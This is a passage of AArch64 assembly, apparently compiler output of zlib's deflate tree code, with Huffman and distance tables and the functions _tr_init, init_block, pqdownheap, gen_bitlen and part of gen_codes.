.type _dist_code, %object
.size _dist_code, 512
_dist_code:
.string ""
.string "\001\002\003\004\004\005\005\006\006\006\006\007\007\007\007\b\b\b\b\b\b\b\b\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\013\013\013\013\013\013\013\013\013\013\013\013\013\013\013\013\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\f\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\r\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\016\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017\017"
.string ""
.ascii "\020\021\022\022\023\023\024\024\024\024\025\025\025\025\026"
.ascii "\026\026\026\026\026\026\026\027\027\027\027\027\027\027\027"
.ascii "\030\030\030\030\030\030\030\030\030\030\030\030\030\030\030"
.ascii "\030\031\031\031\031\031\031\031\031\031\031\031\031\031\031"
.ascii "\031\031\032\032\032\032\032\032\032\032\032\032\032\032\032"
.ascii "\032\032\032\032\032\032\032\032\032\032\032\032\032\032\032"
.ascii "\032\032\032\032\033\033\033\033\033\033\033\033\033\033\033"
.ascii "\033\033\033\033\033\033\033\033\033\033\033\033\033\033\033"
.ascii "\033\033\033\033\033\033\034\034\034\034\034\034\034\034\034"
.ascii "\034\034\034\034\034\034\034\034\034\034\034\034\034\034\034"
.ascii "\034\034\034\034\034\034\034\034\034\034\034\034\034\034\034"
.ascii "\034\034\034\034\034\034\034\034\034\034\034\034\034\034\034"
.ascii "\034\034\034\034\034\034\034\034\034\034\035\035\035\035\035"
.ascii "\035\035\035\035\035\035\035\035\035\035\035\035\035\035\035"
.ascii "\035\035\035\035\035\035\035\035\035\035\035\035\035\035\035"
.ascii "\035\035\035\035\035\035\035\035\035\035\035\035\035\035\035"
.ascii "\035\035\035\035\035\035\035\035\035\035\035\035\035\035"
.align 3
.type extra_lbits, %object
.size extra_lbits, 116
extra_lbits:
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 1
.word 1
.word 1
.word 1
.word 2
.word 2
.word 2
.word 2
.word 3
.word 3
.word 3
.word 3
.word 4
.word 4
.word 4
.word 4
.word 5
.word 5
.word 5
.word 5
.word 0
.align 3
.type extra_dbits, %object
.size extra_dbits, 120
extra_dbits:
.word 0
.word 0
.word 0
.word 0
.word 1
.word 1
.word 2
.word 2
.word 3
.word 3
.word 4
.word 4
.word 5
.word 5
.word 6
.word 6
.word 7
.word 7
.word 8
.word 8
.word 9
.word 9
.word 10
.word 10
.word 11
.word 11
.word 12
.word 12
.word 13
.word 13
.align 3
.type extra_blbits, %object
.size extra_blbits, 76
extra_blbits:
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 2
.word 3
.word 7
.align 3
.type bl_order, %object
.size bl_order, 19
bl_order:
.string "\020\021\022"
.ascii "\b\007\t\006\n\005\013\004\f\003\r\002\016\001\017"
.align 3
.type static_ltree, %object
.size static_ltree, 1152
static_ltree:
.hword 12
.hword 8
.hword 140
.hword 8
.hword 76
.hword 8
.hword 204
.hword 8
.hword 44
.hword 8
.hword 172
.hword 8
.hword 108
.hword 8
.hword 236
.hword 8
.hword 28
.hword 8
.hword 156
.hword 8
.hword 92
.hword 8
.hword 220
.hword 8
.hword 60
.hword 8
.hword 188
.hword 8
.hword 124
.hword 8
.hword 252
.hword 8
.hword 2
.hword 8
.hword 130
.hword 8
.hword 66
.hword 8
.hword 194
.hword 8
.hword 34
.hword 8
.hword 162
.hword 8
.hword 98
.hword 8
.hword 226
.hword 8
.hword 18
.hword 8
.hword 146
.hword 8
.hword 82
.hword 8
.hword 210
.hword 8
.hword 50
.hword 8
.hword 178
.hword 8
.hword 114
.hword 8
.hword 242
.hword 8
.hword 10
.hword 8
.hword 138
.hword 8
.hword 74
.hword 8
.hword 202
.hword 8
.hword 42
.hword 8
.hword 170
.hword 8
.hword 106
.hword 8
.hword 234
.hword 8
.hword 26
.hword 8
.hword 154
.hword 8
.hword 90
.hword 8
.hword 218
.hword 8
.hword 58
.hword 8
.hword 186
.hword 8
.hword 122
.hword 8
.hword 250
.hword 8
.hword 6
.hword 8
.hword 134
.hword 8
.hword 70
.hword 8
.hword 198
.hword 8
.hword 38
.hword 8
.hword 166
.hword 8
.hword 102
.hword 8
.hword 230
.hword 8
.hword 22
.hword 8
.hword 150
.hword 8
.hword 86
.hword 8
.hword 214
.hword 8
.hword 54
.hword 8
.hword 182
.hword 8
.hword 118
.hword 8
.hword 246
.hword 8
.hword 14
.hword 8
.hword 142
.hword 8
.hword 78
.hword 8
.hword 206
.hword 8
.hword 46
.hword 8
.hword 174
.hword 8
.hword 110
.hword 8
.hword 238
.hword 8
.hword 30
.hword 8
.hword 158
.hword 8
.hword 94
.hword 8
.hword 222
.hword 8
.hword 62
.hword 8
.hword 190
.hword 8
.hword 126
.hword 8
.hword 254
.hword 8
.hword 1
.hword 8
.hword 129
.hword 8
.hword 65
.hword 8
.hword 193
.hword 8
.hword 33
.hword 8
.hword 161
.hword 8
.hword 97
.hword 8
.hword 225
.hword 8
.hword 17
.hword 8
.hword 145
.hword 8
.hword 81
.hword 8
.hword 209
.hword 8
.hword 49
.hword 8
.hword 177
.hword 8
.hword 113
.hword 8
.hword 241
.hword 8
.hword 9
.hword 8
.hword 137
.hword 8
.hword 73
.hword 8
.hword 201
.hword 8
.hword 41
.hword 8
.hword 169
.hword 8
.hword 105
.hword 8
.hword 233
.hword 8
.hword 25
.hword 8
.hword 153
.hword 8
.hword 89
.hword 8
.hword 217
.hword 8
.hword 57
.hword 8
.hword 185
.hword 8
.hword 121
.hword 8
.hword 249
.hword 8
.hword 5
.hword 8
.hword 133
.hword 8
.hword 69
.hword 8
.hword 197
.hword 8
.hword 37
.hword 8
.hword 165
.hword 8
.hword 101
.hword 8
.hword 229
.hword 8
.hword 21
.hword 8
.hword 149
.hword 8
.hword 85
.hword 8
.hword 213
.hword 8
.hword 53
.hword 8
.hword 181
.hword 8
.hword 117
.hword 8
.hword 245
.hword 8
.hword 13
.hword 8
.hword 141
.hword 8
.hword 77
.hword 8
.hword 205
.hword 8
.hword 45
.hword 8
.hword 173
.hword 8
.hword 109
.hword 8
.hword 237
.hword 8
.hword 29
.hword 8
.hword 157
.hword 8
.hword 93
.hword 8
.hword 221
.hword 8
.hword 61
.hword 8
.hword 189
.hword 8
.hword 125
.hword 8
.hword 253
.hword 8
.hword 19
.hword 9
.hword 275
.hword 9
.hword 147
.hword 9
.hword 403
.hword 9
.hword 83
.hword 9
.hword 339
.hword 9
.hword 211
.hword 9
.hword 467
.hword 9
.hword 51
.hword 9
.hword 307
.hword 9
.hword 179
.hword 9
.hword 435
.hword 9
.hword 115
.hword 9
.hword 371
.hword 9
.hword 243
.hword 9
.hword 499
.hword 9
.hword 11
.hword 9
.hword 267
.hword 9
.hword 139
.hword 9
.hword 395
.hword 9
.hword 75
.hword 9
.hword 331
.hword 9
.hword 203
.hword 9
.hword 459
.hword 9
.hword 43
.hword 9
.hword 299
.hword 9
.hword 171
.hword 9
.hword 427
.hword 9
.hword 107
.hword 9
.hword 363
.hword 9
.hword 235
.hword 9
.hword 491
.hword 9
.hword 27
.hword 9
.hword 283
.hword 9
.hword 155
.hword 9
.hword 411
.hword 9
.hword 91
.hword 9
.hword 347
.hword 9
.hword 219
.hword 9
.hword 475
.hword 9
.hword 59
.hword 9
.hword 315
.hword 9
.hword 187
.hword 9
.hword 443
.hword 9
.hword 123
.hword 9
.hword 379
.hword 9
.hword 251
.hword 9
.hword 507
.hword 9
.hword 7
.hword 9
.hword 263
.hword 9
.hword 135
.hword 9
.hword 391
.hword 9
.hword 71
.hword 9
.hword 327
.hword 9
.hword 199
.hword 9
.hword 455
.hword 9
.hword 39
.hword 9
.hword 295
.hword 9
.hword 167
.hword 9
.hword 423
.hword 9
.hword 103
.hword 9
.hword 359
.hword 9
.hword 231
.hword 9
.hword 487
.hword 9
.hword 23
.hword 9
.hword 279
.hword 9
.hword 151
.hword 9
.hword 407
.hword 9
.hword 87
.hword 9
.hword 343
.hword 9
.hword 215
.hword 9
.hword 471
.hword 9
.hword 55
.hword 9
.hword 311
.hword 9
.hword 183
.hword 9
.hword 439
.hword 9
.hword 119
.hword 9
.hword 375
.hword 9
.hword 247
.hword 9
.hword 503
.hword 9
.hword 15
.hword 9
.hword 271
.hword 9
.hword 143
.hword 9
.hword 399
.hword 9
.hword 79
.hword 9
.hword 335
.hword 9
.hword 207
.hword 9
.hword 463
.hword 9
.hword 47
.hword 9
.hword 303
.hword 9
.hword 175
.hword 9
.hword 431
.hword 9
.hword 111
.hword 9
.hword 367
.hword 9
.hword 239
.hword 9
.hword 495
.hword 9
.hword 31
.hword 9
.hword 287
.hword 9
.hword 159
.hword 9
.hword 415
.hword 9
.hword 95
.hword 9
.hword 351
.hword 9
.hword 223
.hword 9
.hword 479
.hword 9
.hword 63
.hword 9
.hword 319
.hword 9
.hword 191
.hword 9
.hword 447
.hword 9
.hword 127
.hword 9
.hword 383
.hword 9
.hword 255
.hword 9
.hword 511
.hword 9
.hword 0
.hword 7
.hword 64
.hword 7
.hword 32
.hword 7
.hword 96
.hword 7
.hword 16
.hword 7
.hword 80
.hword 7
.hword 48
.hword 7
.hword 112
.hword 7
.hword 8
.hword 7
.hword 72
.hword 7
.hword 40
.hword 7
.hword 104
.hword 7
.hword 24
.hword 7
.hword 88
.hword 7
.hword 56
.hword 7
.hword 120
.hword 7
.hword 4
.hword 7
.hword 68
.hword 7
.hword 36
.hword 7
.hword 100
.hword 7
.hword 20
.hword 7
.hword 84
.hword 7
.hword 52
.hword 7
.hword 116
.hword 7
.hword 3
.hword 8
.hword 131
.hword 8
.hword 67
.hword 8
.hword 195
.hword 8
.hword 35
.hword 8
.hword 163
.hword 8
.hword 99
.hword 8
.hword 227
.hword 8
.align 3
.type static_dtree, %object
.size static_dtree, 120
static_dtree:
.hword 0
.hword 5
.hword 16
.hword 5
.hword 8
.hword 5
.hword 24
.hword 5
.hword 4
.hword 5
.hword 20
.hword 5
.hword 12
.hword 5
.hword 28
.hword 5
.hword 2
.hword 5
.hword 18
.hword 5
.hword 10
.hword 5
.hword 26
.hword 5
.hword 6
.hword 5
.hword 22
.hword 5
.hword 14
.hword 5
.hword 30
.hword 5
.hword 1
.hword 5
.hword 17
.hword 5
.hword 9
.hword 5
.hword 25
.hword 5
.hword 5
.hword 5
.hword 21
.hword 5
.hword 13
.hword 5
.hword 29
.hword 5
.hword 3
.hword 5
.hword 19
.hword 5
.hword 11
.hword 5
.hword 27
.hword 5
.hword 7
.hword 5
.hword 23
.hword 5
.align 3
.type base_length, %object
.size base_length, 116
base_length:
.word 0
.word 1
.word 2
.word 3
.word 4
.word 5
.word 6
.word 7
.word 8
.word 10
.word 12
.word 14
.word 16
.word 20
.word 24
.word 28
.word 32
.word 40
.word 48
.word 56
.word 64
.word 80
.word 96
.word 112
.word 128
.word 160
.word 192
.word 224
.word 0
.align 3
.type base_dist, %object
.size base_dist, 120
base_dist:
.word 0
.word 1
.word 2
.word 3
.word 4
.word 6
.word 8
.word 12
.word 16
.word 24
.word 32
.word 48
.word 64
.word 96
.word 128
.word 192
.word 256
.word 384
.word 512
.word 768
.word 1024
.word 1536
.word 2048
.word 3072
.word 4096
.word 6144
.word 8192
.word 12288
.word 16384
.word 24576
.section .data.rel.local,"aw"
.align 3
.type static_l_desc, %object
.size static_l_desc, 32
static_l_desc:
.xword static_ltree
.xword extra_lbits
.word 257
.word 286
.word 15
.zero 4
.align 3
.type static_d_desc, %object
.size static_d_desc, 32
static_d_desc:
.xword static_dtree
.xword extra_dbits
.word 0
.word 30
.word 15
.zero 4
.align 3
.type static_bl_desc, %object
.size static_bl_desc, 32
static_bl_desc:
.xword 0
.xword extra_blbits
.word 0
.word 19
.word 7
.zero 4
.text
.align 2
.type tr_static_init, %function
tr_static_init:
.LFB50:
.cfi_startproc
nop
ret
.cfi_endproc
.LFE50:
.size tr_static_init, .-tr_static_init
.align 2
.global _tr_init
.hidden _tr_init
.type _tr_init, %function
_tr_init:
.LFB51:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
bl tr_static_init
ldr x0, [sp, 24]
add x1, x0, 196
ldr x0, [sp, 24]
str x1, [x0, 2888]
ldr x0, [sp, 24]
adrp x1, static_l_desc
add x1, x1, :lo12:static_l_desc
str x1, [x0, 2904]
ldr x0, [sp, 24]
add x1, x0, 2488
ldr x0, [sp, 24]
str x1, [x0, 2912]
ldr x0, [sp, 24]
adrp x1, static_d_desc
add x1, x1, :lo12:static_d_desc
str x1, [x0, 2928]
ldr x0, [sp, 24]
add x1, x0, 2732
ldr x0, [sp, 24]
str x1, [x0, 2936]
ldr x0, [sp, 24]
adrp x1, static_bl_desc
add x1, x1, :lo12:static_bl_desc
str x1, [x0, 2952]
ldr x0, [sp, 24]
strh wzr, [x0, 5920]
ldr x0, [sp, 24]
str wzr, [x0, 5924]
ldr x0, [sp, 24]
bl init_block
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE51:
.size _tr_init, .-_tr_init
.align 2
.type init_block, %function
init_block:
.LFB52:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str wzr, [sp, 16]
b .L490
.L491:
ldr x1, [sp, 8]
ldrsw x0, [sp, 16]
add x0, x0, 48
lsl x0, x0, 2
add x0, x1, x0
strh wzr, [x0, 4]
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L490:
ldr w0, [sp, 16]
cmp w0, 285
ble .L491
str wzr, [sp, 16]
b .L492
.L493:
ldr x1, [sp, 8]
ldrsw x0, [sp, 16]
add x0, x0, 620
lsl x0, x0, 2
add x0, x1, x0
strh wzr, [x0, 8]
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L492:
ldr w0, [sp, 16]
cmp w0, 29
ble .L493
str wzr, [sp, 16]
b .L494
.L495:
ldr x1, [sp, 8]
ldrsw x0, [sp, 16]
add x0, x0, 680
lsl x0, x0, 2
add x0, x1, x0
strh wzr, [x0, 12]
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
.L494:
ldr w0, [sp, 16]
cmp w0, 18
ble .L495
ldr x0, [sp, 8]
mov w1, 1
strh w1, [x0, 1220]
str xzr, [sp, 24]
ldr x0, [sp, 8]
ldr x1, [sp, 24]
str x1, [x0, 5904]
ldr x0, [sp, 8]
ldr x1, [sp, 24]
str x1, [x0, 5896]
str wzr, [sp, 20]
ldr x0, [sp, 8]
ldr w1, [sp, 20]
str w1, [x0, 5912]
ldr x0, [sp, 8]
ldr w1, [sp, 20]
str w1, [x0, 5884]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE52:
.size init_block, .-init_block
.align 2
.type pqdownheap, %function
pqdownheap:
.LFB53:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldr x0, [sp, 24]
ldrsw x1, [sp, 12]
add x1, x1, 748
ldr w0, [x0, x1, lsl 2]
str w0, [sp, 44]
ldr w0, [sp, 12]
lsl w0, w0, 1
str w0, [sp, 40]
b .L498
.L505:
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
ldr w1, [sp, 40]
cmp w1, w0
bge .L499
ldr w0, [sp, 40]
add w1, w0, 1
ldr x0, [sp, 24]
sxtw x1, w1
add x1, x1, 748
ldr w0, [x0, x1, lsl 2]
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w1, [x0]
ldr x0, [sp, 24]
ldrsw x2, [sp, 40]
add x2, x2, 748
ldr w0, [x0, x2, lsl 2]
sxtw x0, w0
lsl x0, x0, 2
ldr x2, [sp, 16]
add x0, x2, x0
ldrh w0, [x0]
cmp w1, w0
bcc .L507
ldr w0, [sp, 40]
add w1, w0, 1
ldr x0, [sp, 24]
sxtw x1, w1
add x1, x1, 748
ldr w0, [x0, x1, lsl 2]
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w1, [x0]
ldr x0, [sp, 24]
ldrsw x2, [sp, 40]
add x2, x2, 748
ldr w0, [x0, x2, lsl 2]
sxtw x0, w0
lsl x0, x0, 2
ldr x2, [sp, 16]
add x0, x2, x0
ldrh w0, [x0]
cmp w1, w0
bne .L499
ldr w0, [sp, 40]
add w1, w0, 1
ldr x0, [sp, 24]
sxtw x1, w1
add x1, x1, 748
ldr w0, [x0, x1, lsl 2]
ldr x1, [sp, 24]
sxtw x0, w0
add x0, x1, x0
add x0, x0, 4096
ldrb w1, [x0, 1196]
ldr x0, [sp, 24]
ldrsw x2, [sp, 40]
add x2, x2, 748
ldr w0, [x0, x2, lsl 2]
ldr x2, [sp, 24]
sxtw x0, w0
add x0, x2, x0
add x0, x0, 4096
ldrb w0, [x0, 1196]
cmp w1, w0
bhi .L499
b .L501
.L507:
nop
.L501:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L499:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w1, [x0]
ldr x0, [sp, 24]
ldrsw x2, [sp, 40]
add x2, x2, 748
ldr w0, [x0, x2, lsl 2]
sxtw x0, w0
lsl x0, x0, 2
ldr x2, [sp, 16]
add x0, x2, x0
ldrh w0, [x0]
cmp w1, w0
bcc .L508
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldrh w1, [x0]
ldr x0, [sp, 24]
ldrsw x2, [sp, 40]
add x2, x2, 748
ldr w0, [x0, x2, lsl 2]
sxtw x0, w0
lsl x0, x0, 2
ldr x2, [sp, 16]
add x0, x2, x0
ldrh w0, [x0]
cmp w1, w0
bne .L504
ldr x1, [sp, 24]
ldrsw x0, [sp, 44]
add x0, x1, x0
add x0, x0, 4096
ldrb w1, [x0, 1196]
ldr x0, [sp, 24]
ldrsw x2, [sp, 40]
add x2, x2, 748
ldr w0, [x0, x2, lsl 2]
ldr x2, [sp, 24]
sxtw x0, w0
add x0, x2, x0
add x0, x0, 4096
ldrb w0, [x0, 1196]
cmp w1, w0
bls .L509
.L504:
ldr x0, [sp, 24]
ldrsw x1, [sp, 40]
add x1, x1, 748
ldr w2, [x0, x1, lsl 2]
ldr x0, [sp, 24]
ldrsw x1, [sp, 12]
add x1, x1, 748
str w2, [x0, x1, lsl 2]
ldr w0, [sp, 40]
str w0, [sp, 12]
ldr w0, [sp, 40]
lsl w0, w0, 1
str w0, [sp, 40]
.L498:
ldr x0, [sp, 24]
ldr w0, [x0, 5284]
ldr w1, [sp, 40]
cmp w1, w0
ble .L505
b .L503
.L508:
nop
b .L503
.L509:
nop
.L503:
ldr x0, [sp, 24]
ldrsw x1, [sp, 12]
add x1, x1, 748
ldr w2, [sp, 44]
str w2, [x0, x1, lsl 2]
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE53:
.size pqdownheap, .-pqdownheap
.align 2
.type gen_bitlen, %function
gen_bitlen:
.LFB54:
.cfi_startproc
sub sp, sp, #80
.cfi_def_cfa_offset 80
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp]
ldr x0, [x0]
str x0, [sp, 56]
ldr x0, [sp]
ldr w0, [x0, 8]
str w0, [sp, 40]
ldr x0, [sp]
ldr x0, [x0, 16]
ldr x0, [x0]
str x0, [sp, 64]
ldr x0, [sp]
ldr x0, [x0, 16]
ldr x0, [x0, 8]
str x0, [sp, 72]
ldr x0, [sp]
ldr x0, [x0, 16]
ldr w0, [x0, 16]
str w0, [sp, 44]
ldr x0, [sp]
ldr x0, [x0, 16]
ldr w0, [x0, 24]
str w0, [sp, 48]
str wzr, [sp, 36]
str wzr, [sp, 28]
b .L511
.L512:
ldr x0, [sp, 8]
ldrsw x1, [sp, 28]
add x1, x1, 1480
strh wzr, [x0, x1, lsl 1]
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L511:
ldr w0, [sp, 28]
cmp w0, 15
ble .L512
ldr x0, [sp, 8]
ldr w1, [x0, 5288]
ldr x0, [sp, 8]
sxtw x1, w1
add x1, x1, 748
ldr w0, [x0, x1, lsl 2]
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
strh wzr, [x0, 2]
ldr x0, [sp, 8]
ldr w0, [x0, 5288]
add w0, w0, 1
str w0, [sp, 20]
b .L513
.L518:
ldr x0, [sp, 8]
ldrsw x1, [sp, 20]
add x1, x1, 748
ldr w0, [x0, x1, lsl 2]
str w0, [sp, 24]
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldrh w0, [x0, 2]
and x0, x0, 65535
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldrh w0, [x0, 2]
add w0, w0, 1
str w0, [sp, 28]
ldr w1, [sp, 28]
ldr w0, [sp, 48]
cmp w1, w0
ble .L514
ldr w0, [sp, 48]
str w0, [sp, 28]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L514:
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldr w1, [sp, 28]
and w1, w1, 65535
strh w1, [x0, 2]
ldr w1, [sp, 24]
ldr w0, [sp, 40]
cmp w1, w0
bgt .L533
ldr x0, [sp, 8]
ldrsw x1, [sp, 28]
add x1, x1, 1480
ldrh w0, [x0, x1, lsl 1]
add w0, w0, 1
and w2, w0, 65535
ldr x0, [sp, 8]
ldrsw x1, [sp, 28]
add x1, x1, 1480
strh w2, [x0, x1, lsl 1]
str wzr, [sp, 32]
ldr w1, [sp, 24]
ldr w0, [sp, 44]
cmp w1, w0
blt .L517
ldr w1, [sp, 24]
ldr w0, [sp, 44]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 72]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 32]
.L517:
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldrh w0, [x0]
strh w0, [sp, 18]
ldr x0, [sp, 8]
ldr x1, [x0, 5896]
ldrh w2, [sp, 18]
ldr w3, [sp, 28]
ldr w0, [sp, 32]
add w0, w3, w0
sxtw x0, w0
mul x0, x2, x0
add x1, x1, x0
ldr x0, [sp, 8]
str x1, [x0, 5896]
ldr x0, [sp, 64]
cmp x0, 0
beq .L534
ldr x0, [sp, 8]
ldr x1, [x0, 5904]
ldrh w2, [sp, 18]
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x3, [sp, 64]
add x0, x3, x0
ldrh w0, [x0, 2]
mov w3, w0
ldr w0, [sp, 32]
add w0, w3, w0
sxtw x0, w0
mul x0, x2, x0
add x1, x1, x0
ldr x0, [sp, 8]
str x1, [x0, 5904]
b .L516
.L533:
nop
b .L516
.L534:
nop
.L516:
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L513:
ldr w0, [sp, 20]
cmp w0, 572
ble .L518
ldr w0, [sp, 36]
cmp w0, 0
beq .L535
.L519:
ldr w0, [sp, 48]
sub w0, w0, #1
str w0, [sp, 28]
b .L521
.L522:
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
.L521:
ldr x0, [sp, 8]
ldrsw x1, [sp, 28]
add x1, x1, 1480
ldrh w0, [x0, x1, lsl 1]
cmp w0, 0
beq .L522
ldr x0, [sp, 8]
ldrsw x1, [sp, 28]
add x1, x1, 1480
ldrh w0, [x0, x1, lsl 1]
sub w0, w0, #1
and w2, w0, 65535
ldr x0, [sp, 8]
ldrsw x1, [sp, 28]
add x1, x1, 1480
strh w2, [x0, x1, lsl 1]
ldr w0, [sp, 28]
add w1, w0, 1
ldr x0, [sp, 8]
sxtw x1, w1
add x1, x1, 1480
ldrh w0, [x0, x1, lsl 1]
ldr w1, [sp, 28]
add w1, w1, 1
add w0, w0, 2
and w2, w0, 65535
ldr x0, [sp, 8]
sxtw x1, w1
add x1, x1, 1480
strh w2, [x0, x1, lsl 1]
ldr x0, [sp, 8]
ldrsw x1, [sp, 48]
add x1, x1, 1480
ldrh w0, [x0, x1, lsl 1]
sub w0, w0, #1
and w2, w0, 65535
ldr x0, [sp, 8]
ldrsw x1, [sp, 48]
add x1, x1, 1480
strh w2, [x0, x1, lsl 1]
ldr w0, [sp, 36]
sub w0, w0, #2
str w0, [sp, 36]
ldr w0, [sp, 36]
cmp w0, 0
ble .L536
b .L519
.L536:
nop
ldr w0, [sp, 48]
str w0, [sp, 28]
b .L525
.L530:
ldr x0, [sp, 8]
ldrsw x1, [sp, 28]
add x1, x1, 1480
ldrh w0, [x0, x1, lsl 1]
str w0, [sp, 24]
b .L526
.L529:
ldr w0, [sp, 20]
sub w0, w0, #1
str w0, [sp, 20]
ldr x0, [sp, 8]
ldrsw x1, [sp, 20]
add x1, x1, 748
ldr w0, [x0, x1, lsl 2]
str w0, [sp, 52]
ldr w1, [sp, 52]
ldr w0, [sp, 40]
cmp w1, w0
ble .L527
b .L526
.L527:
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldrh w0, [x0, 2]
mov w1, w0
ldr w0, [sp, 28]
cmp w1, w0
beq .L528
ldr x0, [sp, 8]
ldr x0, [x0, 5896]
ldrsw x2, [sp, 28]
ldrsw x1, [sp, 52]
lsl x1, x1, 2
ldr x3, [sp, 56]
add x1, x3, x1
ldrh w1, [x1, 2]
and x1, x1, 65535
sub x2, x2, x1
ldrsw x1, [sp, 52]
lsl x1, x1, 2
ldr x3, [sp, 56]
add x1, x3, x1
ldrh w1, [x1]
and x1, x1, 65535
mul x1, x2, x1
add x1, x0, x1
ldr x0, [sp, 8]
str x1, [x0, 5896]
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldr w1, [sp, 28]
and w1, w1, 65535
strh w1, [x0, 2]
.L528:
ldr w0, [sp, 24]
sub w0, w0, #1
str w0, [sp, 24]
.L526:
ldr w0, [sp, 24]
cmp w0, 0
bne .L529
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
.L525:
ldr w0, [sp, 28]
cmp w0, 0
bne .L530
b .L520
.L535:
nop
.L520:
nop
add sp, sp, 80
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE54:
.size gen_bitlen, .-gen_bitlen
.align 2
.type gen_codes, %function
gen_codes:
.LFB55:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
strh wzr, [sp, 52]
mov w0, 1
str w0, [sp, 56]
b .L538
.L539:
ldrsw x0, [sp, 56]
lsl x0, x0, 1
sub x0, x0, #2
ldr x1, [sp, 24]
add x0, x1, x0
ldrh w0, [x0]
ldrh w1, [sp, 52]
add w0, w0, w1
and w0, w0, 65535
ubfiz w0, w0, 1, 15
strh w0, [sp, 52]
ldrsw x0, [sp, 56]
lsl x0, x0, 1
add x1, sp, 72
ldrh w2, [sp, 52]
strh w2, [x1, x0]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L538:
ldr w0, [sp, 56]
cmp w0, 15
ble .L539
str wzr, [sp, 60]
b .L540
.L543:
ldrsw x0, [sp, 60]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldrh w0, [x0, 2]
str w0, [sp, 64]
ldr w0, [sp, 64]
cmp w0, 0
beq .L546
ldrsw x0, [sp, 64]
lsl x0, x0, 1
add x1, sp, 72
ldrh w0, [x1, x0]
strh w0, [sp, 54]
ldrsw x0, [sp, 64]
lsl x0, x0, 1
add x1, sp, 72
ldrh w0, [x1, x0]
add w0, w0, 1
and w2, w0, 65535
ldrsw x0, [sp, 64]
lsl x0, x0, 1
add x1, sp, 72
strh w2, [x1, x0]
ldrh w0, [sp, 54]
ldr w1, [sp, 64]
bl bi_reverse
str w0, [sp, 68]
ldrsw x0, [sp, 60]
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldr w1, [sp, 68]
and w1, w1, 65535
strh w1, [x0]
b .L542
.L546:
nop
.L542:
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L540:
ldr w1, [sp, 60]
ldr w0, [sp, 36]
cmp w1, w0
ble .L543
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 104]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
